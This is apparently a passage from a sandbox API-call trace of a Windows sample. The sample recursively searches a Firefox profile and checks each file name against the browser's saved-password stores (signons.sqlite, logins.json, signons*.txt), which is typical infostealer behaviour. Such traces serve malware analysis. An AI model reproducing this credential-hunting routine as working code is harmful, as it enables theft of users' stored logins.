(lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0048.062] lstrlenA (lpString="cert8.db") returned 8 [0048.062] StrStrIA (lpFirst="cert8.db", lpSrch="logins.json") returned 0x0 [0048.062] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0048.062] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.062] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0048.062] lstrlenA (lpString="compatibility.ini") returned 17 [0048.062] StrStrIA (lpFirst="compatibility.ini", lpSrch="logins.json") returned 0x0 [0048.062] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0048.062] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.062] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.062] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0048.062] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="logins.json") returned 0x0 [0048.062] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.062] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.062] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.062] lstrlenA (lpString="cookies.sqlite") returned 14 [0048.062] StrStrIA (lpFirst="cookies.sqlite", lpSrch="logins.json") returned 0x0 [0048.062] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.062] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.062] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.062] lstrlenA (lpString="downloads.sqlite") returned 16 [0048.062] StrStrIA (lpFirst="downloads.sqlite", lpSrch="logins.json") returned 0x0 [0048.062] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.062] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.062] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0048.062] lstrlenA (lpString="extensions.ini") returned 14 [0048.062] StrStrIA (lpFirst="extensions.ini", lpSrch="logins.json") returned 0x0 [0048.062] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0048.062] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0048.062] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.062] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.062] lstrlenA (lpString="extensions.sqlite") returned 17 [0048.062] StrStrIA (lpFirst="extensions.sqlite", lpSrch="logins.json") returned 0x0 [0048.063] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.063] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.063] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.063] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.063] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0048.063] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0048.063] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.063] lstrlenA (lpString="\\") returned 1 [0048.063] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.063] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.063] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.063] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.063] lstrlenA (lpString="healthreport") returned 12 [0048.063] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x74f980 [0048.063] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.063] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.063] LocalFree (hMem=0x746ad0) returned 0x0 [0048.063] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned 94 [0048.063] lstrlenA (lpString="\\*.*") returned 4 [0048.063] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74d998 [0048.063] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.063] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*" [0048.063] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*", lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0x72dcd0 [0048.063] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.063] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0048.063] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.063] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.063] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0 [0048.063] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.063] LocalFree (hMem=0x74d998) returned 0x0 [0048.063] LocalFree (hMem=0x74f980) returned 0x0 [0048.063] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.063] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.063] lstrlenA (lpString="healthreport.sqlite") returned 19 [0048.063] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="logins.json") returned 0x0 [0048.063] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0048.063] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.063] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.063] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.063] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0048.063] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0048.063] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.063] lstrlenA (lpString="\\") returned 1 [0048.063] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.064] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.064] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.064] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.064] lstrlenA (lpString="indexedDB") returned 9 [0048.064] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74f980 [0048.064] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.064] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.064] LocalFree (hMem=0x746ad0) returned 0x0 [0048.064] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.064] lstrlenA (lpString="\\*.*") returned 4 [0048.064] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x746ad0 [0048.064] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.064] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*" [0048.064] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*", lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0x72dcd0 [0048.064] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.064] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0048.064] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.064] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.064] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0048.064] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0048.064] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0048.064] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.064] lstrlenA (lpString="\\") returned 1 [0048.064] LocalAlloc (uFlags=0x40, uBytes=0xdd) returned 0x74fa68 [0048.064] lstrcpyA (in: lpString1=0x74fa68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.064] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.064] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned 92 [0048.064] lstrlenA (lpString="moz-safe-about+home") returned 19 [0048.064] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x76e840 [0048.064] lstrcpyA (in: lpString1=0x76e840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.064] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.064] LocalFree (hMem=0x74fa68) returned 0x0 [0048.064] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.064] lstrlenA (lpString="\\*.*") returned 4 [0048.064] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74fa68 [0048.064] lstrcpyA (in: lpString1=0x74fa68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.065] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*" [0048.065] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0xef72c | out: lpFindFileData=0xef72c) returned 0x72dd50 [0048.065] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.065] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef72c | out: lpFindFileData=0xef72c) returned 1 [0048.065] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.065] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.065] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef72c | out: lpFindFileData=0xef72c) returned 1 [0048.065] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0048.065] lstrlenA (lpString=".metadata") returned 9 [0048.065] StrStrIA (lpFirst=".metadata", lpSrch="logins.json") returned 0x0 [0048.065] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0048.065] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0048.065] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0048.065] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef72c | out: lpFindFileData=0xef72c) returned 1 [0048.065] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0048.065] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0048.065] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.065] lstrlenA (lpString="\\") returned 1 [0048.065] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x74fdd0 [0048.065] lstrcpyA (in: lpString1=0x74fdd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.065] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.065] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned 112 [0048.065] lstrlenA (lpString="idb") returned 3 [0048.065] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74fed0 [0048.065] lstrcpyA (in: lpString1=0x74fed0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.065] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.065] LocalFree (hMem=0x74fdd0) returned 0x0 [0048.065] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.065] lstrlenA (lpString="\\*.*") returned 4 [0048.065] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x74fdd0 [0048.065] lstrcpyA (in: lpString1=0x74fdd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.065] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0048.065] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0xef5c4 | out: lpFindFileData=0xef5c4) returned 0x72dd90 [0048.066] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.066] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c4 | out: lpFindFileData=0xef5c4) returned 1 [0048.066] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.066] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.066] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c4 | out: lpFindFileData=0xef5c4) returned 1 [0048.066] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0048.066] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0048.066] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.066] lstrlenA (lpString="\\") returned 1 [0048.066] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x7629c0 [0048.066] lstrcpyA (in: lpString1=0x7629c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.066] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.066] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 116 [0048.066] lstrlenA (lpString="818200132aebmoouht") returned 18 [0048.066] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x762ac0 [0048.066] lstrcpyA (in: lpString1=0x762ac0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.066] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.066] LocalFree (hMem=0x7629c0) returned 0x0 [0048.066] lstrlenA (lpString="C:\\Users\\aDU0VK 